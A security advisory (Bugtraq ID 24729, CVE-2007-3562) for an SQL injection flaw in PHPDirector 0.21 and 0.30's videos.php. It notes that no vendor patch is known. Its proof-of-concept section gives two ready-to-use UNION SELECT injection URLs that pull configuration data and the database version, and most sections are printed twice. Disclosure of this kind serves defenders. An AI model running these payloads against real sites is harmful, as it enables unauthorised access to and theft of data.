PHPDirector 'videos.php' SQL Injection Vulnerability
BID:24729
Info
PHPDirector 'videos.php' SQL Injection Vulnerability
| Bugtraq ID: | 24729 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3562 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 02 2007 12:00AM |
| Updated: | Apr 16 2015 06:11PM |
| Credit: | kw3rln is credited with the discovery of this vulnerability. |
| Vulnerable: |
Kristopher Taylor PHPDirector 0.30 Kristopher Taylor PHPDirector 0.21 |
| Not Vulnerable: | |
Discussion
PHPDirector 'videos.php' SQL Injection Vulnerability
PHPDirector is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPDirector 0.21 and 0.30 are vulnerable; other versions may also be affected.
PHPDirector is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPDirector 0.21 and 0.30 are vulnerable; other versions may also be affected.
Exploit / POC
PHPDirector 'videos.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI and exploit are available:
http://www.example.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config
http://www.example.com/path/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--
Attackers can use a browser to exploit this issue.
The following example URI and exploit are available:
http://www.example.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config
http://www.example.com/path/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--
Solution / Fix
PHPDirector 'videos.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHPDirector 'videos.php' SQL Injection Vulnerability
References:
References:
- Vendor Homepage (PHP Director)
- PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote (Kw3rLn)